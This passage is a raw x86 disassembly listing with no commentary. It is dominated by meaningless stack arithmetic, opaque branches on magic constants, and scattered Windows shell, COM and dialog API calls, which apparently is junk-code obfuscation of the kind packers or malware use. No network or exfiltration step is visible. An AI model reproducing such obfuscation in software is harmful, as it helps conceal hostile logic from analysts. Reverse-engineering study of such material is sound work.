sub edx, dword [ebp - 0x3cac]
mov eax, dword [ebp - 0x5f8c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3da8]
mov edx, dword [ebp - 0x12e0]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x3a60]
mov dword [ecx], eax
mov edx, dword [ebp - 0x5b24]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x3780]
movzx edx, byte [ecx]
or eax, edx
mov byte [ebp - 0xf3d], al
movzx eax, word [ebp - 0x1ff8]
movzx ecx, word [ebp - 0x5180]
shl eax, cl
mov ecx, dword [ebp - 0x3f0c]
mov word [ecx], ax
mov edx, dword [ebp - 0x3da8]
mov eax, dword [edx]
xor eax, dword [ebp - 0x26b8]
mov dword [ebp + 0x14], eax
mov ecx, dword [ebp - 0x4c40]
mov edx, dword [ebp - 0x2118]
mov ecx, dword [ecx]
sar edx, cl
mov dword [ebp - 0x27d0], edx
mov eax, dword [ebp - 0x569c]
mov cx, word [eax]
mov word [ebp - 0x34dc], cx
movsx edx, byte [ebp - 0x3cc2]
movsx eax, byte [ebp + 8]
and edx, eax
mov ecx, dword [ebp - 0x5cc4]
mov byte [ecx], dl
mov edx, dword [ebp - 0x3118]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x44ad]
sub eax, ecx
mov byte [ebp + 0x18], al
movzx edx, byte [ebp - 0xf3d]
mov eax, dword [ebp - 0x5b24]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp + 0x18], dl
mov edx, dword [ebp + 0x14]
and edx, dword [ebp - 0x1d20]
mov dword [ebp - 0x2b4c], edx
mov eax, dword [ebp - 0x12e0]
mov ecx, dword [ebp - 0x26b8]
add ecx, dword [eax]
mov dword [ebp - 0x2b4c], ecx
mov edx, dword [ebp - 0x5f8c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x4d68]
add eax, dword [ecx]
mov edx, dword [ebp - 0x5f8c]
mov dword [edx], eax
mov eax, dword [ebp - 0x5ab4]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x3cac]
mov edx, dword [ebp - 0x4c40]
mov dword [edx], ecx
mov eax, dword [ebp - 0xed0]
mov ecx, dword [ebp - 0x2960]
add ecx, dword [eax]
mov dword [ebp - 0x3cac], ecx
mov edx, dword [ebp - 0x3118]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x3780]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x3118]
mov byte [ecx], al
mov edx, dword [ebp - 0x5600]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x55ac]
movzx ecx, word [ecx]
shl eax, cl
mov edx, dword [ebp - 0x3f0c]
mov word [edx], ax
jmp 0x42e22e
movsx eax, word [ebp + 0x10]
movsx ecx, word [ebp - 0x36b0]
sar eax, cl
mov ecx, dword [ebp - 0x569c]
movsx edx, word [ecx]
movsx ecx, word [ebp - 0x34dc]
xor edx, ecx
cmp eax, edx
jge 0x42e61a
push 0xbc
mov edx, dword [ebp - 0x7c]
push edx
lea eax, [ebp - 0x3f0c]
push eax
mov ecx, dword [ebp - 0x182c]
push ecx
call dword [sym.imp.SHELL32.dll_SHPathPrepareForWriteW]
mov dword [ebp - 0x2a0c], eax
mov edx, dword [ebp - 0x12e0]
mov eax, dword [edx]
sub eax, dword [ebp - 0x2b4c]
mov dword [ebp - 0x26b8], eax
movzx ecx, byte [ebp - 0x9b9]
push ecx
movzx edx, word [ebp - 0x5180]
push edx
call section..text
jmp 0x42e654
mov eax, dword [ebp - 0x4c40]
mov ecx, dword [ebp - 0x5ab4]
mov edx, dword [eax]
or edx, dword [ecx]
mov eax, dword [ebp - 0xed0]
mov ecx, dword [ebp - 0x539c]
mov eax, dword [eax]
and eax, dword [ecx]
cmp edx, eax
jne 0x42e654
mov ecx, dword [ebp - 0x539c]
mov edx, dword [ecx]
add edx, dword [ebp - 0x42e4]
mov eax, dword [ebp - 0xed0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x539c]
mov edx, dword [ebp - 0x4d68]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0xed0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3a60]
mov eax, dword [ebp - 0x12e0]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x3da8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x3118]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x5b24]
movzx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0x503f], cl
movzx ecx, word [ebp - 0x5668]
mov dword [ebp - 0x61a4], ecx
cmp dword [ebp - 0x61a4], 0xd09
je 0x46c2a2
cmp dword [ebp - 0x61a4], 0x8328
je 0x42e6cc
jmp 0x46c3b7
movzx edx, byte [ebp + 0x18]
mov eax, dword [ebp - 0x3118]
movzx ecx, byte [eax]
or edx, ecx
mov byte [ebp - 0x44ad], dl
mov dl, byte [ebp - 0x3cc2]
mov byte [ebp - 0x61a8], dl
cmp byte [ebp - 0x61a8], 0
je 0x42e708
cmp byte [ebp - 0x61a8], 0x5a
je 0x46c16c
jmp 0x46c193
lea eax, [ebp - 0xee0]
mov dword [ebp - 0x5168], eax
movsx ecx, byte [ebp - 0x3cc2]
movsx edx, byte [ebp + 8]
sub ecx, edx
mov eax, dword [ebp - 0x5cc4]
movsx edx, byte [eax]
movsx eax, byte [ebp + 0xc]
add edx, eax
cmp ecx, edx
jne 0x46c041
mov ecx, dword [ebp - 0x1d20]
mov dword [ebp - 0x61ac], ecx
cmp dword [ebp - 0x61ac], 0x4bc17659
je 0x42e752
jmp 0x42e78d
movsx edx, byte [ebp - 0x3cc2]
mov eax, dword [ebp - 0x4e90]
movsx ecx, byte [eax]
add edx, ecx
mov byte [ebp + 8], dl
movzx edx, byte [ebp - 0xf3d]
movzx eax, byte [ebp + 0x18]
sub edx, eax
mov ecx, dword [ebp - 0x3118]
mov byte [ecx], dl
call dword [sym.imp.ole32.dll_CoResumeClassObjects]
mov dword [ebp - 0x4e20], eax
jmp 0x42e8c2
mov edx, dword [ebp - 0xed0]
mov eax, dword [edx]
mov dword [ebp - 0x61b0], eax
cmp dword [ebp - 0x61b0], 0xbdd90000
je 0x42e7bc
cmp dword [ebp - 0x61b0], 0x351ad523
je 0x42e8ac
jmp 0x42e8c2
mov ecx, dword [ebp - 0x12e0]
mov edx, dword [ebp - 0x2b4c]
add edx, dword [ecx]
mov eax, dword [ebp - 0x5168]
mov dword [eax], edx
mov ecx, dword [ebp - 0x55ac]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x5600]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x351c]
movzx ecx, word [eax]
movzx eax, word [ebp - 0x2df0]
and ecx, eax
cmp edx, ecx
jne 0x42e85c
mov ecx, dword [ebp - 0x3da8]
mov edx, dword [ebp - 0x3a60]
mov eax, dword [ecx]
or eax, dword [edx]
mov dword [ebp - 0x1bc0], eax
lea ecx, [ebp - 0x5668]
mov dword [ebp - 0x62c], ecx
movzx edx, byte [ebp - 0x9b9]
mov eax, dword [ebp - 0x3118]
movzx ecx, byte [eax]
xor edx, ecx
mov byte [ebp - 0xf3d], dl
lea edx, [ebp - 0x3cac]
mov dword [ebp - 0x4ff4], edx
mov eax, dword [ebp - 0x3a60]
mov ecx, dword [ebp - 0x5168]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov dword [ebp - 0x1d20], edx
jmp 0x42e8aa
mov eax, dword [ebp - 0x351c]
movzx edx, word [eax]
movzx eax, word [ebp - 0x5180]
sub edx, eax
movzx eax, word [ebp - 0x1ff8]
mov ecx, dword [ebp - 0x5600]
movzx ecx, word [ecx]
sar eax, cl
cmp edx, eax
jne 0x42e8aa
mov edx, dword [ebp - 0x26b8]
mov eax, dword [ebp - 0x5600]
mov cx, word [eax]
call fcn.004721c0
mov ecx, dword [ebp - 0x2960]
sub ecx, dword [ebp - 0x2118]
mov dword [ebp - 0x27d0], ecx
jmp 0x42e8c2
mov edx, dword [ebp - 0x4c40]
mov eax, dword [edx]
and eax, dword [ebp - 0x2118]
mov ecx, dword [ebp - 0xed0]
mov dword [ecx], eax
mov edx, dword [ebp - 0xed0]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x539c]
add eax, dword [ecx]
mov edx, dword [ebp - 0x4ff4]
mov ecx, dword [edx]
add ecx, dword [ebp - 0x27d0]
cmp eax, ecx
jg 0x42e9a9
call dword [sym.imp.ole32.dll_CoRevertToSelf]
mov dword [ebp - 0x840], eax
mov edx, dword [ebp - 0x5f8c]
mov eax, dword [edx]
mov dword [ebp - 0x61b4], eax
cmp dword [ebp - 0x61b4], 0x58e49361
je 0x42e910
jmp 0x42e98c
mov ecx, dword [ebp - 0x3f0c]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x3ee8]
add edx, eax
mov ecx, dword [ebp - 0x351c]
mov word [ecx], dx
mov edx, dword [ebp - 0x42e4]
push edx
movzx eax, byte [ebp + 0x18]
push eax
call fcn.004ef7c0
add esp, 8
mov ecx, dword [ebp - 0x5b24]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x3118]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x9b9], dl
mov edx, dword [ebp - 0x3a60]
mov eax, dword [edx]
add eax, dword [ebp + 0x14]
mov ecx, dword [ebp - 0x3da8]
mov dword [ecx], eax
lea edx, [ebp - 0x1e84]
push edx
push fcn.004d1cd0
mov eax, dword [ebp - 0x5b34]
push eax
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [ebp - 0x35b4], eax
jmp 0x42e9a4
mov ecx, dword [ebp - 0xed0]
mov edx, dword [ebp - 0x539c]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x4ff4]
mov dword [ecx], eax
jmp 0x42ea3c
mov edx, dword [ebp - 0x569c]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x2f8]
sub eax, ecx
movsx edx, word [ebp + 0x10]
movsx ecx, word [ebp - 0x34dc]
sub edx, ecx
cmp eax, edx
je 0x42ea3c
lea edx, [ebp - 0x24b8]
push edx
call dword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
mov dword [ebp - 0x35b4], eax
movsx eax, word [ebp - 0x36b0]
mov ecx, dword [ebp - 0x569c]
movsx edx, word [ecx]
or eax, edx
mov word [ebp + 0x10], ax
movzx eax, byte [ebp - 0x44ad]
push eax
mov ecx, dword [ebp - 0x5168]
mov edx, dword [ecx]
push edx
movzx eax, word [ebp - 0x34dc]
push eax
mov ecx, dword [ebp - 0x4e90]
movzx edx, byte [ecx]
push edx
movzx eax, byte [ebp + 0xc]
push eax
call fcn.00429f50
mov ecx, dword [ebp - 0x5cc4]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0x3cc2]
shl edx, cl
mov eax, dword [ebp - 0x5cc4]
mov byte [eax], dl
cmp dword [ebp - 0x378c], 0xfb88
jae 0x42ed2a
movzx edx, word [ebp - 0x5668]
mov eax, dword [ebp - 0x55ac]
movzx ecx, word [eax]
sar edx, cl
mov ecx, dword [ebp - 0x5600]
mov word [ecx], dx
movzx edx, byte [ebp + 0x18]
movzx eax, byte [ebp - 0x44ad]
xor edx, eax
mov byte [ebp - 0x503f], dl
mov ecx, dword [ebp - 0xee0]
add ecx, dword [ebp - 0x2b4c]
mov edx, dword [ebp - 0x3da8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x12e0]
mov ecx, dword [ebp - 0x2b4c]
add ecx, dword [eax]
mov dword [ebp + 0x14], ecx
mov edx, dword [ebp - 0xed0]
mov eax, dword [edx]
and eax, dword [ebp - 0x42e4]
mov dword [ebp - 0x2960], eax
mov ecx, dword [ebp - 0x3a60]
mov edx, dword [ebp - 0x2b4c]
add edx, dword [ecx]
mov eax, dword [ebp - 0x5168]
mov dword [eax], edx
movsx ecx, byte [ebp + 8]
mov edx, dword [ebp - 0x5cc4]
movsx eax, byte [edx]
sub ecx, eax
mov byte [ebp + 0xc], cl
movzx ecx, byte [ebp - 0x503f]
movzx edx, byte [ebp - 0xf3d]
add ecx, edx
mov eax, dword [ebp - 0x3118]
mov byte [eax], cl
mov ecx, dword [ebp - 0x5600]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x62c]
movzx ecx, word [eax]
sub edx, ecx
mov eax, dword [ebp - 0x351c]
mov word [eax], dx
mov ecx, dword [ebp - 0x2960]
sub ecx, dword [ebp - 0x3cac]
mov edx, dword [ebp - 0x4c40]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1d20]
sub eax, dword [ebp + 0x14]
mov dword [ebp - 0x1bc0], eax
mov ecx, dword [ebp - 0x539c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xed0]
add edx, dword [eax]
mov dword [ebp - 0x2960], edx
mov ecx, dword [ebp - 0x3da8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x3a60]
add edx, dword [eax]
mov dword [ebp + 0x14], edx
movzx ecx, word [ebp - 0x5180]
mov edx, dword [ebp - 0x55ac]
movzx eax, word [edx]
or ecx, eax
mov word [ebp - 0x5668], cx
movzx ecx, byte [ebp - 0x9b9]
movzx edx, byte [ebp - 0x503f]
xor ecx, edx
mov byte [ebp - 0xf3d], cl
mov eax, dword [ebp - 0x378c]
add eax, 0xdd
mov dword [ebp - 0x378c], eax
movsx edx, byte [ebp - 0x3cc2]
mov eax, dword [ebp - 0x4e90]
movsx ecx, byte [eax]
shl edx, cl
mov byte [ebp + 8], dl
movsx edx, word [ebp - 0x36b0]
movsx ecx, word [ebp - 0x34dc]
sar edx, cl
mov eax, dword [ebp - 0x569c]
mov word [eax], dx
mov ecx, dword [ebp - 0x12e0]
mov edx, dword [ebp - 0x2b4c]
and edx, dword [ecx]
mov dword [ebp + 0x14], edx
mov eax, dword [ebp - 0x5ab4]
mov ecx, dword [ebp - 0x539c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x4ff4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3118]
movzx edx, byte [ecx]
movzx eax, byte [ebp + 0x18]
add edx, eax
mov byte [ebp - 0x44ad], dl
mov ecx, dword [ebp - 0x5600]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x5180]
and edx, eax
mov word [ebp - 0x3ee8], dx
mov ecx, dword [ebp - 0x5168]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x1bc0]
mov eax, dword [ebp - 0x3da8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3cac]
add ecx, dword [ebp - 0x2960]
mov edx, dword [ebp - 0x539c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x5f8c]
mov ecx, dword [ebp - 0x27d0]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x539c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1bc0]
sub eax, dword [ebp + 0x14]
mov ecx, dword [ebp - 0x3a60]
mov dword [ecx], eax
mov edx, dword [ebp - 0x351c]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x3f0c]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0x5180], ax
movzx eax, byte [ebp - 0xf3d]
mov ecx, dword [ebp - 0x3780]
movzx ecx, byte [ecx]
sar eax, cl
mov byte [ebp - 0x44ad], al
mov edx, dword [ebp - 0x42e4]
or edx, dword [ebp - 0x2118]
mov eax, dword [ebp - 0x4c40]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5ab4]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x2960]
mov dword [ebp - 0x42e4], edx
mov eax, dword [ebp - 0x12e0]
mov edx, dword [ebp + 0x14]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [ebp - 0x5168]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5f8c]
mov edx, dword [ecx]
and edx, dword [ebp - 0x42e4]
mov eax, dword [ebp - 0x539c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4ff4]
mov edx, dword [ebp - 0x4c40]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x5f8c]
mov dword [ecx], eax
movsx edx, byte [ebp + 8]
mov eax, dword [ebp - 0x5cc4]
movsx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x3cc2], dl
jmp 0x42ea3c
movsx edx, byte [ebp - 0x3cc2]
movsx eax, byte [ebp + 0xc]
add edx, eax
mov ecx, dword [ebp - 0x4e90]
movsx eax, byte [ecx]
movsx ecx, byte [ebp + 8]
sub eax, ecx
cmp edx, eax
jge 0x42ee31
mov edx, dword [ebp - 0x3118]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x44ad]
add eax, ecx
mov edx, dword [ebp - 0x3780]
movzx ecx, byte [edx]
movzx edx, byte [ebp + 0x18]
add ecx, edx
cmp eax, ecx
jl 0x42ed89
mov eax, dword [ebp - 0x569c]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x36b0]
sub ecx, edx
mov word [ebp + 0x10], cx
push 1
mov eax, dword [ebp - 0x182c]
push eax
call dword [sym.imp.SHELL32.dll_DragAcceptFiles]
movzx ecx, word [ebp - 0x5668]
mov dword [ebp - 0x61b8], ecx
cmp dword [ebp - 0x61b8], 0xe5c
je 0x42edb3
jmp 0x42ee18
movzx edx, byte [ebp - 0x503f]
movzx ecx, byte [ebp - 0x44ad]
sar edx, cl
mov eax, dword [ebp - 0x5b24]
mov byte [eax], dl
mov ecx, dword [ebp - 0x5600]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x55ac]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x2df0], dx
mov ecx, dword [ebp - 0x12e0]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x1d20]
mov eax, dword [ebp - 0x12e0]
mov dword [eax], edx
lea ecx, [ebp - 0x1d20]
push ecx
lea edx, [ebp - 0x39fc]
push edx
call dword [sym.imp.ole32.dll_CoCopyProxy]
mov dword [ebp - 0x5b94], eax
jmp 0x42ee2c
mov eax, dword [ebp - 0x4d68]
mov ecx, dword [ebp - 0x2118]
or ecx, dword [eax]
mov dword [ebp - 0x27d0], ecx
jmp 0x42eed4
movzx edx, word [ebp - 0x1ff8]
movzx eax, word [ebp - 0x2df0]
and edx, eax
mov word [ebp - 0x3ee8], dx
lea ecx, [ebp - 0x503f]
mov dword [ebp - 0x35b8], ecx
mov dl, byte [ebp - 0x3cc2]
mov byte [ebp - 0x61bc], dl
cmp byte [ebp - 0x61bc], 0
je 0x42ee9f
cmp byte [ebp - 0x61bc], 0xc
je 0x42ee74
jmp 0x42eed4
mov eax, dword [ebp - 0x3a60]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2b4c]
mov edx, dword [ebp - 0x5168]
mov dword [edx], ecx
lea eax, [ebp - 0x1e8]
push eax
call dword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
mov dword [ebp - 0x4da4], eax
jmp 0x42eed4
mov ecx, dword [ebp - 0x4ff4]
mov edx, dword [ebp - 0x2960]
add edx, dword [ecx]
mov eax, dword [ebp - 0x4c40]
mov dword [eax], edx
lea ecx, [ebp - 0x42e4]
mov dword [ebp - 0x2a80], ecx
mov edx, dword [ebp - 0x5168]
mov eax, dword [edx]
add eax, dword [ebp + 0x14]
mov ecx, dword [ebp - 0x3da8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x55ac]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x5668]
sub eax, ecx
mov word [ebp - 0x2df0], ax
movzx edx, word [ebp - 0x1ff8]
mov dword [ebp - 0x61c0], edx
cmp dword [ebp - 0x61c0], 0
je 0x42ef08
jmp 0x42efc7
mov eax, dword [ebp - 0x35b8]
mov cl, byte [eax]
mov byte [ebp - 0x61c4], cl
cmp byte [ebp - 0x61c4], 0
je 0x42ef2d
cmp byte [ebp - 0x61c4], 0x1f
je 0x42ef56
jmp 0x42efc2
lea edx, [ebp + 0x18]
mov dword [ebp - 0xbb4], edx
mov eax, dword [ebp - 0x2118]
sub eax, dword [ebp - 0x27d0]
mov dword [ebp - 0x42e4], eax
lea ecx, [ebp - 0x2118]
mov dword [ebp - 0x5fdc], ecx
jmp 0x42efc2
movsx edx, byte [ebp + 8]
mov eax, dword [ebp - 0x5cc4]
movsx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 0x3cc2], dl
mov edx, dword [ebp - 0x569c]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x2f8]
sub eax, ecx
mov edx, dword [ebp - 0x569c]
mov word [edx], ax
call fcn.0046d040
push 0x7f
mov eax, dword [ebp - 0x2744]
push eax
mov ecx, dword [ebp - 0x2744]
push ecx
call dword [sym.imp.COMDLG32.dll_GetFileTitleW]
mov word [ebp - 0x2f8], ax
mov edx, dword [ebp - 0xbb4]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0xf3d]
add eax, ecx
mov edx, dword [ebp - 0x3118]
mov byte [edx], al
jmp 0x42f0dc
mov eax, dword [ebp - 0x5cc4]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x4e90]
movsx eax, byte [edx]
sub ecx, eax
movsx edx, byte [ebp - 0x3cc2]
movsx eax, byte [ebp + 8]
or edx, eax
cmp ecx, edx
jge 0x42f0a1
mov ecx, dword [ebp - 0x569c]
movsx edx, word [ecx]
movsx ecx, word [ebp - 0x2f8]
sar edx, cl
mov word [ebp + 0x10], dx
mov eax, dword [ebp - 0x5168]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x2b4c]
mov edx, dword [ebp - 0x12e0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x5cc4]
mov cl, byte [eax]
mov byte [ebp - 0x61c8], cl
cmp byte [ebp - 0x61c8], 0x34
je 0x42f03e
cmp byte [ebp - 0x61c8], 0x50
je 0x42f068
jmp 0x42f09f
lea edx, [ebp - 0x34cc]
push edx
call dword [sym.imp.SHELL32.dll_ILFree]
call fcn.004d7e60
mov eax, dword [ebp - 0x3da8]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x26b8]
mov edx, dword [ebp - 0x12e0]
mov dword [edx], ecx
jmp 0x42f09f
lea eax, [ebp - 0x2900]
push eax
lea ecx, [ebp - 0x22cc]
push ecx
lea edx, [ebp - 0x2afc]
push edx
call dword [sym.imp.ole32.dll_CoMarshalInterThreadInterfaceInStream]
mov dword [ebp - 0x37a4], eax
mov eax, dword [ebp - 0x4d68]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x539c]
add ecx, dword [edx]
mov dword [ebp - 0x27d0], ecx
jmp 0x42f0dc
mov eax, dword [ebp - 0x4ff4]
mov edx, dword [eax]
xor edx, dword [ebp - 0x3cac]
mov eax, dword [ebp - 0x5f8c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x27d0]
shl eax, cl
cmp edx, eax
jle 0x42f0dc
mov ecx, dword [ebp - 0xbb4]
movzx edx, byte [ecx]
push edx
mov eax, dword [ebp - 0x55ac]
movzx ecx, word [eax]
push ecx
call section..text
movsx edx, word [ebp - 0x2f8]
mov dword [ebp - 0x61cc], edx
cmp dword [ebp - 0x61cc], 0
je 0x42f0f7
jmp 0x46be8b
mov eax, dword [ebp - 0x569c]
movsx ecx, word [eax]
mov dword [ebp - 0x61d0], ecx
cmp dword [ebp - 0x61d0], 0
je 0x42f250
cmp dword [ebp - 0x61d0], 0x675b
je 0x42f124
jmp 0x42f2f2
movzx edx, word [ebp - 0x3ee8]
push edx
mov eax, dword [ebp - 0x4e90]
movzx ecx, byte [eax]
push ecx
mov edx, dword [ebp - 0x569c]
movzx eax, word [edx]
push eax
mov ecx, dword [ebp - 0x3780]
mov dl, byte [ecx]
mov eax, dword [ebp - 0x5b24]
mov cl, byte [eax]
call fcn.00478870
lea ecx, [ebp - 0x1e8]
push ecx
call dword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
mov dword [ebp - 0x18a4], eax
mov edx, dword [ebp - 0x35b8]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x9b9]
shl eax, cl
mov ecx, dword [ebp - 0x3118]
mov byte [ecx], al
mov edx, dword [ebp - 0x3118]
mov al, byte [edx]
mov byte [ebp - 0x61d4], al
cmp byte [ebp - 0x61d4], 0x18
je 0x42f1ab
cmp byte [ebp - 0x61d4], 0xfe
je 0x42f239
jmp 0x42f24b
mov ecx, dword [ebp - 0x4e90]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x3cc2]
sub edx, eax
mov byte [ebp + 8], dl
mov ecx, dword [ebp - 0x2a80]
mov edx, dword [ecx]
mov dword [ebp - 0x61d8], edx
cmp dword [ebp - 0x61d8], 0x74c08b28
je 0x42f1dc
jmp 0x42f224
mov eax, dword [ebp - 0x569c]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x36b0]
and ecx, edx
mov eax, dword [ebp - 0x569c]
mov word [eax], cx
mov ecx, dword [ebp - 0x2310]
push ecx
call dword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [ebp - 0x5228], eax
mov edx, dword [ebp - 0x5168]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x12e0]
add eax, dword [ecx]
mov edx, dword [ebp - 0x3a60]
mov dword [edx], eax
jmp 0x42f237
lea eax, [ebp - 0x3b6c]
push eax
call dword [sym.imp.SHELL32.dll_SHGetInstanceExplorer]
mov dword [ebp - 0xa8c], eax
jmp 0x42f24b
mov ecx, dword [ebp - 0x2118]
add ecx, dword [ebp - 0x5644]
mov dword [ebp - 0x27d0], ecx
jmp 0x42f2f2
mov edx, dword [ebp - 0x5600]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x5180]
sub eax, ecx
mov word [ebp - 0x1ff8], ax
mov edx, dword [ebp - 0xee0]
mov dword [ebp - 0x61dc], edx
cmp dword [ebp - 0x61dc], 0
je 0x42f280
jmp 0x42f2d8
mov al, byte [ebp - 0x9b9]
mov byte [ebp - 0x4d21], al
mov ecx, dword [ebp - 0x4d68]
mov edx, dword [ebp - 0x2118]
add edx, dword [ecx]
mov eax, dword [ebp - 0xed0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5168]
mov edx, dword [ecx]
add edx, dword [ebp - 0x1bc0]
mov dword [ebp - 0xee0], edx
lea eax, [ebp - 0x2960]
mov dword [ebp - 0x24f0], eax
mov ecx, dword [ebp - 0x5644]
add ecx, dword [ebp - 0x42e4]
mov edx, dword [ebp - 0x4c40]
mov dword [edx], ecx
jmp 0x42f2f2
mov eax, dword [ebp - 0xbb4]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0xf3d]
sub ecx, edx
mov eax, dword [ebp - 0x3780]
mov byte [eax], cl
cmp dword [ebp - 0x20bc], 0x833e
je 0x42f496
mov ecx, dword [ebp - 0x5600]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x351c]
movzx ecx, word [eax]
and edx, ecx
mov eax, dword [ebp - 0x62c]
mov word [eax], dx
mov ecx, dword [ebp - 0x20bc]
add ecx, 0x45
mov dword [ebp - 0x20bc], ecx
mov edx, dword [ebp + 0x14]
mov ecx, dword [ebp - 0x1bc0]
shl edx, cl
mov dword [ebp - 0x2b4c], edx
mov eax, dword [ebp - 0x2a80]
mov ecx, dword [ebp - 0x2118]
xor ecx, dword [eax]
mov dword [ebp - 0x42e4], ecx
movsx edx, byte [ebp - 0x3cc2]
movsx eax, byte [ebp + 0xc]
or edx, eax
mov byte [ebp + 8], dl
mov ecx, dword [ebp - 0x35b8]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x3118]
movzx ecx, byte [eax]
sar edx, cl
mov byte [ebp + 0x18], dl
mov ecx, dword [ebp - 0x2a80]
mov edx, dword [ebp - 0x4ff4]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0xed0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x5cc4]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x3cc2]
add eax, ecx
mov edx, dword [ebp - 0x5cc4]
mov byte [edx], al
movsx eax, word [ebp - 0x34dc]
mov ecx, dword [ebp - 0x569c]
movsx edx, word [ecx]
and eax, edx
mov word [ebp - 0x36b0], ax
mov eax, dword [ebp - 0x3780]
movzx ecx, byte [eax]
movzx edx, byte [ebp + 0x18]
sub ecx, edx
mov eax, dword [ebp - 0x5b24]
mov byte [eax], cl
movzx ecx, word [ebp - 0x2df0]
mov edx, dword [ebp - 0x62c]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x5600]
mov word [edx], cx
mov eax, dword [ebp - 0x5168]
mov ecx, dword [ebp - 0x1bc0]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x3da8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1d20]
add eax, dword [ebp - 0x1bc0]
mov ecx, dword [ebp - 0x5168]
mov dword [ecx], eax
mov edx, dword [ebp - 0xbb4]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x5b24]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0xbb4]
mov byte [ecx], al
movzx edx, word [ebp - 0x5180]
movzx eax, word [ebp - 0x3ee8]
sub edx, eax
mov ecx, dword [ebp - 0x55ac]
mov word [ecx], dx
mov edx, dword [ebp - 0xed0]
mov eax, dword [edx]
sub eax, dword [ebp - 0x3cac]
mov dword [ebp - 0x2118], eax
mov ecx, dword [ebp - 0x2b4c]
sub ecx, dword [ebp + 0x14]
mov dword [ebp - 0x1d20], ecx
mov edx, dword [ebp - 0x4ff4]
mov eax, dword [ebp - 0x2a80]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x5ab4]
mov dword [edx], ecx
jmp 0x42f2f2
mov eax, dword [ebp - 0x24f0]
mov ecx, dword [eax]
mov dword [ebp - 0x61e0], ecx
